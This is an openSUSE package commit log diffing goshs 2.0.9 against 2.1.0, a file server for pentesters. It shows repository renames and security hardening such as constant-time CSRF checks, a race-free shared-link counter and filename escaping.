Script 'mail_helper' called by obssrc Hello community, here is the log from the commit of package goshs for openSUSE:Factory checked in at 2026-05-29 18:12:55 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Comparing /work/SRC/openSUSE:Factory/goshs (Old) and /work/SRC/openSUSE:Factory/.goshs.new.1937 (New) ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Package is "goshs" Fri May 29 18:12:55 2026 rev:10 rq:1355887 version:2.1.0 Changes: -------- --- /work/SRC/openSUSE:Factory/goshs/goshs.changes 2026-05-28 17:29:26.201921844 +0200 +++ /work/SRC/openSUSE:Factory/.goshs.new.1937/goshs.changes 2026-05-29 18:14:38.069189267 +0200 @@ -1,0 +2,10 @@ +Fri May 29 12:45:10 UTC 2026 - Martin Hauke <[email protected]> + +- Update to version 2.1.0 + * Address security advisory GHSA-3whc-qvhv-xqjp + * Address security advisory GHSA-j48m-h7xq-2xpj + * Bump github/codeql-action from 4.35.5 to 4.36.0 + * Fix issue #166 + * General bug fixing and improving security posture. + +------------------------------------------------------------------- Old: ---- goshs-2.0.9.tar.gz New: ---- goshs-2.1.0.tar.gz ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Other differences: ------------------ ++++++ goshs.spec ++++++ --- /var/tmp/diff_new_pack.g8lLC2/_old 2026-05-29 18:14:41.101312571 +0200 +++ /var/tmp/diff_new_pack.g8lLC2/_new 2026-05-29 18:14:41.101312571 +0200 @@ -16,7 +16,7 @@ # Name: goshs -Version: 2.0.9 +Version: 2.1.0 Release: 0 Summary: A simple HTTP server License: MIT ++++++ goshs-2.0.9.tar.gz -> goshs-2.1.0.tar.gz ++++++ diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/goshs-2.0.9/.github/workflows/codeql-analysis.yml new/goshs-2.1.0/.github/workflows/codeql-analysis.yml --- old/goshs-2.0.9/.github/workflows/codeql-analysis.yml 2026-05-27 15:49:51.000000000 +0200 +++ new/goshs-2.1.0/.github/workflows/codeql-analysis.yml 2026-05-29 12:20:25.000000000 +0200 @@ -44,7 +44,7 @@ # Initializes the CodeQL tools for scanning. - name: Initialize CodeQL - uses: github/codeql-action/init@9e0d7b8d25671d64c341c19c0152d693099fb5ba # v3 + uses: github/codeql-action/init@7211b7c8077ea37d8641b6271f6a365a22a5fbfa # v3 with: languages: ${{ matrix.language }} # If you wish to specify custom queries, you can do so here or in a config file. @@ -55,7 +55,7 @@ # Autobuild attempts to build any compiled languages (C/C++, C#, or Java). # If this step fails, then you should remove it and run the build manually (see below) - name: Autobuild - uses: github/codeql-action/autobuild@9e0d7b8d25671d64c341c19c0152d693099fb5ba # v3 + uses: github/codeql-action/autobuild@7211b7c8077ea37d8641b6271f6a365a22a5fbfa # v3 # âšī¸ Command-line programs to run using the OS shell. # đ https://git.io/JvXDl @@ -69,4 +69,4 @@ # make release - name: Perform CodeQL Analysis - uses: github/codeql-action/analyze@9e0d7b8d25671d64c341c19c0152d693099fb5ba # v3 + uses: github/codeql-action/analyze@7211b7c8077ea37d8641b6271f6a365a22a5fbfa # v3 diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/goshs-2.0.9/.github/workflows/release.yml new/goshs-2.1.0/.github/workflows/release.yml --- old/goshs-2.0.9/.github/workflows/release.yml 2026-05-27 15:49:51.000000000 +0200 +++ new/goshs-2.1.0/.github/workflows/release.yml 2026-05-29 12:20:25.000000000 +0200 @@ -53,10 +53,10 @@ curl -sf --retry 5 --retry-delay 10 --retry-all-errors \ -X POST \ --user "${COPR_LOGIN}:${COPR_TOKEN}" \ - -F "ownername=patrickhener" \ + -F "ownername=goshs-labs" \ -F "projectname=goshs" \ -F "scmtype=git" \ - -F "clone_url=https://github.com/patrickhener/goshs" \ + -F "clone_url=https://github.com/goshs-labs/goshs" \ -F "committish=${{ github.ref_name }}" \ -F "spec=packaging/rpm/goshs.spec" \ -F "srpm_build_method=rpkg" \ diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/goshs-2.0.9/.goreleaser.yml new/goshs-2.1.0/.goreleaser.yml --- old/goshs-2.0.9/.goreleaser.yml 2026-05-27 15:49:51.000000000 +0200 +++ new/goshs-2.1.0/.goreleaser.yml 2026-05-29 12:20:25.000000000 +0200 @@ -60,17 +60,17 @@ chocolateys: - name: goshs - owners: patrickhener + owners: goshs-labs title: goshs authors: Patrick Hener project_url: https://goshs.de icon_url: https://goshs.de/img/favicon.png copyright: Patrick Hener - license_url: https://github.com/patrickhener/goshs/blob/main/LICENSE + license_url: https://github.com/goshs-labs/goshs/blob/main/LICENSE require_license_acceptance: false - project_source_url: https://github.com/patrickhener/goshs + project_source_url: https://github.com/goshs-labs/goshs docs_url: https://docs.goshs.de - bug_tracker_url: https://github.com/patrickhener/goshs/issues + bug_tracker_url: https://github.com/goshs-labs/goshs/issues tags: "goshs http server file-sharing pentesting security ctf sysadmin" summary: "Beyond Python's http.server â single-binary file server for pentesters" description: | @@ -88,21 +88,21 @@ DNS/SMTP out-of-band callbacks, reverse shell catcher, redirect endpoint - Tunnel via localhost.run, webhooks, mDNS, IP allowlist, shell completion - Self-update: goshs --update - release_notes: "https://github.com/patrickhener/goshs/releases/tag/{{ .Tag }}" + release_notes: "https://github.com/goshs-labs/goshs/releases/tag/{{ .Tag }}" api_key: "{{ .Env.CHOCOLATEY_API_KEY }}" source_repo: "https://push.chocolatey.org/" winget: - - publisher: PatrickHener + - publisher: GoshsLabs short_description: Single-binary file server for pentesters and sysadmins license: MIT publisher_url: https://goshs.de - publisher_support_url: https://github.com/patrickhener/goshs/issues - package_identifier: PatrickHener.Goshs - url_template: "https://github.com/patrickhener/goshs/releases/download/{{ .Tag }}/{{ .ArtifactName }}" + publisher_support_url: https://github.com/goshs-labs/goshs/issues + package_identifier: GoshsLabs.Goshs + url_template: "https://github.com/goshs-labs/goshs/releases/download/{{ .Tag }}/{{ .ArtifactName }}" skip_upload: auto repository: - owner: patrickhener + owner: goshs-labs name: winget-pkgs branch: "goshs-{{ .Version }}" token: "{{ .Env.WINGET_PKGS_TOKEN }}" diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/goshs-2.0.9/Makefile new/goshs-2.1.0/Makefile --- old/goshs-2.0.9/Makefile 2026-05-27 15:49:51.000000000 +0200 +++ new/goshs-2.1.0/Makefile 2026-05-29 12:20:25.000000000 +0200 @@ -110,10 +110,10 @@ @git push @git tag $(VERSION) @git push origin $(VERSION) - @docker build -t patrickhener/goshs:$(VERSION) . - @docker build -t patrickhener/goshs:latest . - @docker push patrickhener/goshs:$(VERSION) - @docker push patrickhener/goshs:latest + @docker build -t goshslabs/goshs:$(VERSION) . + @docker build -t goshslabs/goshs:latest . + @docker push goshslabs/goshs:$(VERSION) + @docker push goshslabs/goshs:latest run-unit: clean-tests @go test ./ca -count=1 diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/goshs-2.0.9/README.md new/goshs-2.1.0/README.md --- old/goshs-2.0.9/README.md 2026-05-27 15:49:51.000000000 +0200 +++ new/goshs-2.1.0/README.md 2026-05-29 12:20:25.000000000 +0200 @@ -1,11 +1,10 @@ - -[](https://github.com/patrickhener/goshs/blob/master/LICENSE) - -[](https://github.com/patrickhener/goshs/issues) - -[](https://goreportcard.com/report/github.com/patrickhener/goshs) -[](https://codecov.io/gh/patrickhener/goshs) -[](https://github.com/patrickhener/goshs/stargazers) + +[](https://github.com/goshs-labs/goshs/blob/main/LICENSE) + +[](https://github.com/goshs-labs/goshs/issues) + +[](https://goreportcard.com/report/goshs.de/goshs/v2) +[](https://codecov.io/gh/goshs-labs/goshs) <img src="https://github.com/patrickhener/image-cdn/blob/main/goshs-banner-light.png?raw=true" alt="goshs-logo" height="100"> @@ -72,15 +71,15 @@ | đ¤ **BlackArch** | `pacman -S goshs` | | đī¸ **Alpine Linux (edge)** | `apk add goshs` | | đĢ **Snap** | `snap install goshs` | -| đŠ **Fedora / RHEL (COPR)** | `dnf copr enable patrickhener/goshs && dnf install goshs` | +| đŠ **Fedora / RHEL (COPR)** | `dnf copr enable goshs-labs/goshs && dnf install goshs` | | đĻ **openSUSE** | `sudo zypper install goshs` | | âī¸ **Nix / NixOS** | `nix-env -iA nixpkgs.goshs` | | đē **Homebrew** | `brew install goshs` | | đĒ **Scoop** | `scoop bucket add extras && scoop install extras/goshs` | -| đĒ **winget** | `winget install PatrickHener.Goshs` | +| đĒ **winget** | `winget install GoshsLabs.Goshs` | | đĢ **Chocolatey** | `choco install goshs` | -| đŗ **Docker** | `docker run --rm -it -p 8000:8000 -v "$PWD:/pwd" patrickhener/goshs:latest -d /pwd` | -| đĻ **Release** | [Download from GitHub Releases](https://github.com/patrickhener/goshs/releases) | +| đŗ **Docker** | `docker run --rm -it -p 8000:8000 -v "$PWD:/pwd" goshs-labs/goshs:latest -d /pwd` | +| đĻ **Release** | [Download from GitHub Releases](https://github.com/goshs-labs/goshs/releases) | <details> <summary>đ Shell completion</summary> @@ -108,7 +107,7 @@ Building requirements are [esbuild](https://github.com/evanw/esbuild) and [sass](https://sass-lang.com/install). After installing these packages run: ```bash -git clone https://github.com/patrickhener/goshs.git +git clone https://github.com/goshs-labs/goshs.git cd goshs make build-all ``` @@ -117,7 +116,7 @@ # Code Contributors -[](https://github.com/patrickhener/goshs/graphs/contributors) +[](https://github.com/goshs-labs/goshs/graphs/contributors) # Security Contributors @@ -129,6 +128,7 @@ <td align="center"><a href="https://github.com/R1ZZG0D"><img src="https://github.com/R1ZZG0D.png?size=50" width="50" height="50"></a></td> <td align="center"><a href="https://github.com/jaisurya-me"><img src="https://github.com/jaisurya-me.png?size=50" width="50" height="50"></a></td> <td align="center"><a href="https://github.com/offset"><img src="https://github.com/offset.png?size=50" width="50" height="50"></a></td> + <td align="center"><a href="https://github.com/black-shadow-007"><img src="https://github.com/black-shadow-007.png?size=50" width="50" height="50"></a></td> <td align="center"><a href="https://github.com/wooseokdotkim">wooseokdotkim</a></td> <td align="center"><a href="https://github.com/Guilhem7">Guilhem7</a></td> </tr></table> @@ -141,7 +141,7 @@ # Star History -[](https://www.star-history.com/#patrickhener/goshs&type=date&legend=top-left) +[](https://www.star-history.com/#goshs-labs/goshs&type=date&legend=top-left) # Credits diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/goshs-2.0.9/assets/js/src/context-menu.js new/goshs-2.1.0/assets/js/src/context-menu.js --- old/goshs-2.0.9/assets/js/src/context-menu.js 2026-05-27 15:49:51.000000000 +0200 +++ new/goshs-2.1.0/assets/js/src/context-menu.js 2026-05-29 12:20:25.000000000 +0200 @@ -20,11 +20,7 @@ closeCtx(); }; document.getElementById("ctx-open").onclick = () => { - if (previewType) { - previewFile(name); - } else { - window.location.href = name + (isDir ? "/" : ""); - } + window.open(name + (isDir ? "/" : ""), "_blank"); closeCtx(); }; document.getElementById("ctx-download").onclick = () => { diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/goshs-2.0.9/catcher/listener.go new/goshs-2.1.0/catcher/listener.go --- old/goshs-2.0.9/catcher/listener.go 2026-05-27 15:49:51.000000000 +0200 +++ new/goshs-2.1.0/catcher/listener.go 2026-05-29 12:20:25.000000000 +0200 @@ -7,7 +7,6 @@ "net" "strconv" "sync" - "time" "goshs.de/goshs/v2/logger" ) @@ -136,7 +135,9 @@ } func generateID() string { - b := make([]byte, 4) - rand.Read(b) - return hex.EncodeToString(b) + fmt.Sprintf("%d", time.Now().UnixNano()%1000) + b := make([]byte, 16) + if _, err := rand.Read(b); err != nil { + panic("catcher: failed to generate ID: " + err.Error()) + } + return hex.EncodeToString(b) } diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/goshs-2.0.9/catcher/ws.go new/goshs-2.1.0/catcher/ws.go --- old/goshs-2.0.9/catcher/ws.go 2026-05-27 15:49:51.000000000 +0200 +++ new/goshs-2.1.0/catcher/ws.go 2026-05-29 12:20:25.000000000 +0200 @@ -28,7 +28,9 @@ return } - conn, err := websocket.Accept(w, r, nil) + conn, err := websocket.Accept(w, r, &websocket.AcceptOptions{ + OriginPatterns: []string{r.Host}, + }) if err != nil { logger.Errorf("catcher ws: accept failed: %v", err) return diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/goshs-2.0.9/clipboard/clipboard.go new/goshs-2.1.0/clipboard/clipboard.go --- old/goshs-2.0.9/clipboard/clipboard.go 2026-05-27 15:49:51.000000000 +0200 +++ new/goshs-2.1.0/clipboard/clipboard.go 2026-05-29 12:20:25.000000000 +0200 @@ -4,11 +4,13 @@ import ( "encoding/json" "fmt" + "sync" "time" ) // Clipboard is the in memory clipboard to hold the copy-pasteable content type Clipboard struct { + mu sync.RWMutex Entries []Entry } @@ -21,32 +23,32 @@ // New will return an instantiated Clipboard func New() *Clipboard { - cb := &Clipboard{} - return cb + return &Clipboard{} } // AddEntry will give the opportunity to add an entry to the clipboard func (c *Clipboard) AddEntry(con string) error { + c.mu.Lock() + defer c.mu.Unlock() + entries := c.Entries + id := 0 if len(entries) > 0 { - entries = append([]Entry{{ - ID: len(entries), - Content: con, - Time: time.Now().Format("Mon Jan _2 15:04:05 2006"), - }}, entries...) // Create a copy of the slice to avoid modifying the original - } else { - entries = append([]Entry{{ - ID: 0, - Content: con, - Time: time.Now().Format("Mon Jan _2 15:04:05 2006"), - }}, entries...) // Create a copy of the slice to avoid modifying the original + id = len(entries) } - c.Entries = entries + c.Entries = append([]Entry{{ + ID: id, + Content: con, + Time: time.Now().Format("Mon Jan _2 15:04:05 2006"), + }}, entries...) return nil } // DeleteEntry will give the opportunity to delete an entry from the clipboard func (c *Clipboard) DeleteEntry(id int) error { + c.mu.Lock() + defer c.mu.Unlock() + entries := c.Entries if id < 0 { return fmt.Errorf("id cannot be negative: %d", id) @@ -55,31 +57,35 @@ return fmt.Errorf("invalid entry ID: %d", id) } entries = append(entries[:id], entries[id+1:]...) - newEntries := reindex(entries) - c.Entries = newEntries + c.Entries = reindex(entries) return nil } // ClearClipboard will empty the clipboard func (c *Clipboard) ClearClipboard() error { + c.mu.Lock() + defer c.mu.Unlock() c.Entries = nil return nil } // GetEntries will give the opportunity to receive the entries from the clipboard func (c *Clipboard) GetEntries() ([]Entry, error) { - entries := c.Entries - return entries, nil + c.mu.RLock() + defer c.mu.RUnlock() + out := make([]Entry, len(c.Entries)) + copy(out, c.Entries) + return out, nil } // Download will return a json encoded representation of the clipboards content for download purposes func (c *Clipboard) Download() ([]byte, error) { - entries := c.Entries - e, err := json.MarshalIndent(entries, "", " ") - if err != nil { - return nil, err - } - return e, nil + c.mu.RLock() + entries := make([]Entry, len(c.Entries)) + copy(entries, c.Entries) + c.mu.RUnlock() + + return json.MarshalIndent(entries, "", " ") } func reindex(entries []Entry) []Entry { @@ -87,6 +93,5 @@ for i := range entries { entries[i].ID = n - 1 - i } - return entries } diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/goshs-2.0.9/config/config_test.go new/goshs-2.1.0/config/config_test.go --- old/goshs-2.0.9/config/config_test.go 2026-05-27 15:49:51.000000000 +0200 +++ new/goshs-2.1.0/config/config_test.go 2026-05-29 12:20:25.000000000 +0200 @@ -6,8 +6,8 @@ "path/filepath" "testing" - "goshs.de/goshs/v2/options" "github.com/stretchr/testify/require" + "goshs.de/goshs/v2/options" ) func writeTempConfig(t *testing.T, cfg Config) string { @@ -24,10 +24,10 @@ func TestLoadConfig_BasicFields(t *testing.T) { cfg := Config{ - Interface: "127.0.0.1", - Port: 9090, - Directory: "/tmp/testroot", - SSL: true, + Interface: "127.0.0.1", + Port: 9090, + Directory: "/tmp/testroot", + SSL: true, SelfSigned: true, } diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/goshs-2.0.9/dnsserver/dnsserver_test.go new/goshs-2.1.0/dnsserver/dnsserver_test.go --- old/goshs-2.0.9/dnsserver/dnsserver_test.go 2026-05-27 15:49:51.000000000 +0200 +++ new/goshs-2.1.0/dnsserver/dnsserver_test.go 2026-05-29 12:20:25.000000000 +0200 @@ -6,11 +6,11 @@ "testing" "github.com/miekg/dns" + "github.com/stretchr/testify/require" "goshs.de/goshs/v2/clipboard" "goshs.de/goshs/v2/options" "goshs.de/goshs/v2/webhook" "goshs.de/goshs/v2/ws" - "github.com/stretchr/testify/require" ) func newTestServer() *DNSServer { @@ -51,14 +51,16 @@ remote string } -func (m *mockResponseWriter) LocalAddr() net.Addr { return &net.UDPAddr{} } -func (m *mockResponseWriter) RemoteAddr() net.Addr { return &net.UDPAddr{IP: net.ParseIP("127.0.0.1"), Port: 12345} } -func (m *mockResponseWriter) WriteMsg(msg *dns.Msg) error { m.written = msg; return nil } -func (m *mockResponseWriter) Write(b []byte) (int, error) { return len(b), nil } -func (m *mockResponseWriter) Close() error { return nil } -func (m *mockResponseWriter) TsigStatus() error { return nil } -func (m *mockResponseWriter) TsigTimersOnly(bool) {} -func (m *mockResponseWriter) Hijack() {} +func (m *mockResponseWriter) LocalAddr() net.Addr { return &net.UDPAddr{} } +func (m *mockResponseWriter) RemoteAddr() net.Addr { + return &net.UDPAddr{IP: net.ParseIP("127.0.0.1"), Port: 12345} +} +func (m *mockResponseWriter) WriteMsg(msg *dns.Msg) error { m.written = msg; return nil } +func (m *mockResponseWriter) Write(b []byte) (int, error) { return len(b), nil } +func (m *mockResponseWriter) Close() error { return nil } +func (m *mockResponseWriter) TsigStatus() error { return nil } +func (m *mockResponseWriter) TsigTimersOnly(bool) {} +func (m *mockResponseWriter) Hijack() {} func TestDNSHandler_ARecord(t *testing.T) { s := newTestServer() @@ -144,18 +146,14 @@ } func TestDNSHandler_ReplyIPFallback(t *testing.T) { - // When ReplyIP is empty, it should fall back to the server's IP. + // When opts.DNSIP is empty, NewDNSServer should default ReplyIP to "0.0.0.0". cb := clipboard.New() hub := ws.NewHub(cb, false) go hub.Run() wh := webhook.Register(false, "", "discord", []string{}) - s := &DNSServer{ - IP: "192.168.0.1", - ReplyIP: "", // empty â should fall back to IP - Hub: hub, - WebHook: wh, - } + opts := &options.Options{DNSIP: ""} // empty â constructor should default to 0.0.0.0 + s := NewDNSServer(opts, hub, wh) req := new(dns.Msg) req.SetQuestion("test.local.", dns.TypeA) @@ -166,5 +164,5 @@ require.NotNil(t, w.written) require.Len(t, w.written.Answer, 1) a := w.written.Answer[0].(*dns.A) - require.Equal(t, "192.168.0.1", a.A.String()) + require.Equal(t, "0.0.0.0", a.A.String()) } diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/goshs-2.0.9/dnsserver/server.go new/goshs-2.1.0/dnsserver/server.go --- old/goshs-2.0.9/dnsserver/server.go 2026-05-27 15:49:51.000000000 +0200 +++ new/goshs-2.1.0/dnsserver/server.go 2026-05-29 12:20:25.000000000 +0200 @@ -23,15 +23,18 @@ } func NewDNSServer(opts *options.Options, hub *ws.Hub, wh *webhook.Webhook) *DNSServer { + replyIP := opts.DNSIP + if replyIP == "" { + replyIP = "0.0.0.0" + } return &DNSServer{ IP: "0.0.0.0", - ReplyIP: opts.DNSIP, + ReplyIP: replyIP, Port: opts.DNSPort, Hub: hub, Silent: opts.Silent, WebHook: wh, } - } func (d *DNSServer) handler(w dns.ResponseWriter, r *dns.Msg) { @@ -57,11 +60,6 @@ // If webhook is enabled, send the DNS query to the webhook endpoint logger.HandleWebhookSend(fmt.Sprintf("[DNS] - Source: %s - Type: %s - Query: %s", event.Source, event.QType, event.Name), "dns", *d.WebHook) - // If ReplyIP is not set, use the same IP as the DNS server - if d.ReplyIP == "" { - d.ReplyIP = d.IP - } - switch q.Qtype { case dns.TypeA: m.Answer = append(m.Answer, &dns.A{ diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/goshs-2.0.9/goshsversion/version.go new/goshs-2.1.0/goshsversion/version.go --- old/goshs-2.0.9/goshsversion/version.go 2026-05-27 15:49:51.000000000 +0200 +++ new/goshs-2.1.0/goshsversion/version.go 2026-05-29 12:20:25.000000000 +0200 @@ -1,3 +1,3 @@ package goshsversion -var GoshsVersion = "v2.0.9" +var GoshsVersion = "v2.1.0" diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/goshs-2.0.9/httpserver/consts.go new/goshs-2.1.0/httpserver/consts.go --- old/goshs-2.0.9/httpserver/consts.go 2026-05-27 15:49:51.000000000 +0200 +++ new/goshs-2.1.0/httpserver/consts.go 2026-05-29 12:20:25.000000000 +0200 @@ -2,5 +2,5 @@ const ( modeWeb string = "web" - chunkSize int = 16 << 24 + chunkSize int = 16 << 20 // 16 MB ) diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/goshs-2.0.9/httpserver/coverage_test.go new/goshs-2.1.0/httpserver/coverage_test.go --- old/goshs-2.0.9/httpserver/coverage_test.go 2026-05-27 15:49:51.000000000 +0200 +++ new/goshs-2.1.0/httpserver/coverage_test.go 2026-05-29 12:20:25.000000000 +0200 @@ -8,10 +8,10 @@ "path/filepath" "testing" + "github.com/stretchr/testify/require" "goshs.de/goshs/v2/clipboard" "goshs.de/goshs/v2/webhook" "goshs.de/goshs/v2/ws" - "github.com/stretchr/testify/require" ) // âââ AddCertAuth ââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/goshs-2.0.9/httpserver/handler.go new/goshs-2.1.0/httpserver/handler.go --- old/goshs-2.0.9/httpserver/handler.go 2026-05-27 15:49:51.000000000 +0200 +++ new/goshs-2.1.0/httpserver/handler.go 2026-05-29 12:20:25.000000000 +0200 @@ -1,6 +1,7 @@ package httpserver import ( + "crypto/subtle" "encoding/json" "fmt" "html/template" @@ -125,7 +126,7 @@ // Anything else â a browser request from a different origin without a valid // token â is rejected. func (fs *FileServer) checkCSRF(w http.ResponseWriter, req *http.Request) bool { - if req.Header.Get("X-CSRF-Token") == fs.CSRFToken { + if subtle.ConstantTimeCompare([]byte(req.Header.Get("X-CSRF-Token")), []byte(fs.CSRFToken)) == 1 { return true } @@ -973,48 +974,38 @@ token := r.URL.Query().Get("token") - fs.sharedLinksMu.RLock() + // Consume the download slot atomically before serving to prevent TOCTOU races + fs.sharedLinksMu.Lock() entry, ok := fs.SharedLinks[token] - fs.sharedLinksMu.RUnlock() - - if !ok || time.Now().After(entry.Expires) { + if !ok || time.Now().After(entry.Expires) || + (entry.DownloadLimit != -1 && entry.Downloaded >= entry.DownloadLimit) { + fs.sharedLinksMu.Unlock() http.NotFound(w, r) return } - - // Only send if download limit not reached - if entry.DownloadLimit > 0 || entry.DownloadLimit == -1 { - if entry.IsDir { - q := r.URL.Query() - q.Set("file", entry.FilePath) - q.Set("bulk", "true") - r.URL.RawQuery = q.Encode() - fs.bulkDownload(w, r) - } else { - file, err := os.Open(filepath.Join(fs.Webroot, entry.FilePath)) - if err != nil { - logger.Errorf("error opening shared file: %s", entry.FilePath) - fs.handleError(w, r, err, http.StatusInternalServerError) - return - } - fs.sendFile(w, r, file, configFile{}) - } + entry.Downloaded++ + if entry.DownloadLimit != -1 && entry.Downloaded >= entry.DownloadLimit { + delete(fs.SharedLinks, token) } else { - http.NotFound(w, r) - return + fs.SharedLinks[token] = entry } + fs.sharedLinksMu.Unlock() - // Update download counter and remove link if limit reached - fs.sharedLinksMu.Lock() - if current, exists := fs.SharedLinks[token]; exists { - current.Downloaded++ - if current.DownloadLimit != -1 && current.Downloaded >= current.DownloadLimit { - delete(fs.SharedLinks, token) - } else { - fs.SharedLinks[token] = current + if entry.IsDir { + q := r.URL.Query() + q.Set("file", entry.FilePath) + q.Set("bulk", "true") + r.URL.RawQuery = q.Encode() + fs.bulkDownload(w, r) + } else { + file, err := os.Open(filepath.Join(fs.Webroot, entry.FilePath)) + if err != nil { + logger.Errorf("error opening shared file: %s", entry.FilePath) + fs.handleError(w, r, err, http.StatusInternalServerError) + return } + fs.sendFile(w, r, file, configFile{}) } - fs.sharedLinksMu.Unlock() } // snapshotSharedLinks returns a copy of the SharedLinks map for safe use in @@ -1118,8 +1109,9 @@ return } + safeName := strings.NewReplacer(`\`, `\\`, `"`, `\"`).Replace(a.Filename) w.Header().Set("Content-Type", a.ContentType) - w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, a.Filename)) + w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, safeName)) w.Header().Set("Content-Length", fmt.Sprintf("%d", a.Size)) _, err := w.Write(a.Data) if err != nil { diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/goshs-2.0.9/httpserver/handler_test.go new/goshs-2.1.0/httpserver/handler_test.go --- old/goshs-2.0.9/httpserver/handler_test.go 2026-05-27 15:49:51.000000000 +0200 +++ new/goshs-2.1.0/httpserver/handler_test.go 2026-05-29 12:20:25.000000000 +0200 @@ -9,11 +9,11 @@ "testing" "time" + "github.com/stretchr/testify/require" "goshs.de/goshs/v2/clipboard" "goshs.de/goshs/v2/smtpattach" "goshs.de/goshs/v2/webhook" "goshs.de/goshs/v2/ws" - "github.com/stretchr/testify/require" ) // newTestFileServer returns a minimal FileServer wired to a running Hub so that diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/goshs-2.0.9/httpserver/helper.go new/goshs-2.1.0/httpserver/helper.go --- old/goshs-2.0.9/httpserver/helper.go 2026-05-27 15:49:51.000000000 +0200 +++ new/goshs-2.1.0/httpserver/helper.go 2026-05-29 12:20:25.000000000 +0200 @@ -14,8 +14,8 @@ "path/filepath" "strings" - "goshs.de/goshs/v2/logger" "github.com/skip2/go-qrcode" + "goshs.de/goshs/v2/logger" ) // sanitizePath validates that requestPath stays within root after decoding and diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/goshs-2.0.9/httpserver/integration_conv_test.go new/goshs-2.1.0/httpserver/integration_conv_test.go --- old/goshs-2.0.9/httpserver/integration_conv_test.go 2026-05-27 15:49:51.000000000 +0200 +++ new/goshs-2.1.0/httpserver/integration_conv_test.go 2026-05-29 12:20:25.000000000 +0200 @@ -13,12 +13,12 @@ "strings" "testing" + "github.com/stretchr/testify/require" + "golang.org/x/crypto/bcrypt" "goshs.de/goshs/v2/clipboard" "goshs.de/goshs/v2/options" "goshs.de/goshs/v2/webhook" "goshs.de/goshs/v2/ws" - "github.com/stretchr/testify/require" - "golang.org/x/crypto/bcrypt" ) // âââ NoDelete tests ââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/goshs-2.0.9/httpserver/middleware.go new/goshs-2.1.0/httpserver/middleware.go --- old/goshs-2.0.9/httpserver/middleware.go 2026-05-27 15:49:51.000000000 +0200 +++ new/goshs-2.1.0/httpserver/middleware.go 2026-05-29 12:20:25.000000000 +0200 @@ -29,19 +29,18 @@ } authVal = auth[len("Basic "):] - // Fast path: already verified this credential in this instance + // Fast path: already verified this credential recently (5-minute TTL) fs.authCacheMu.RLock() - cached := fs.authCache[authVal] + exp, cached := fs.authCache[authVal] fs.authCacheMu.RUnlock() - if cached { + if cached && time.Now().Before(exp) { return authVal, true } - // Rate-limit check: reject IPs that have exceeded the failure threshold - clientIP, _, _ := net.SplitHostPort(r.RemoteAddr) - if clientIP == "" { - clientIP = r.RemoteAddr - } + // Rate-limit check: reject IPs that have exceeded the failure threshold. + // Use the resolved client IP (honours X-Forwarded-For for trusted proxies) + // so that clients behind a reverse proxy each have their own counter. + clientIP := GetClientIP(r, fs.Whitelist) fs.authFailMu.Lock() if fs.authFailures == nil { fs.authFailures = make(map[string]*authFailEntry) @@ -94,9 +93,9 @@ fs.authCacheMu.Lock() if fs.authCache == nil { - fs.authCache = make(map[string]bool) + fs.authCache = make(map[string]time.Time) } - fs.authCache[authVal] = true + fs.authCache[authVal] = time.Now().Add(5 * time.Minute) fs.authCacheMu.Unlock() return authVal, true @@ -196,7 +195,7 @@ return r.RemoteAddr } - if whitelist.IsTrustedProxy(host) { + if whitelist != nil && whitelist.IsTrustedProxy(host) { // Check X-Forwarded-For header first (for proxies) xff := r.Header.Get("X-Forwarded-For") if xff != "" { diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/goshs-2.0.9/httpserver/middleware_test.go new/goshs-2.1.0/httpserver/middleware_test.go --- old/goshs-2.0.9/httpserver/middleware_test.go 2026-05-27 15:49:51.000000000 +0200 +++ new/goshs-2.1.0/httpserver/middleware_test.go 2026-05-29 12:20:25.000000000 +0200 @@ -7,6 +7,7 @@ "net/http/httptest" "runtime" "testing" + "time" "github.com/stretchr/testify/require" "golang.org/x/crypto/bcrypt" @@ -30,7 +31,7 @@ User: user, Pass: pass, SharedLinks: map[string]SharedLink{}, - authCache: make(map[string]bool), + authCache: make(map[string]time.Time), } } diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/goshs-2.0.9/httpserver/server.go new/goshs-2.1.0/httpserver/server.go --- old/goshs-2.0.9/httpserver/server.go 2026-05-27 15:49:51.000000000 +0200 +++ 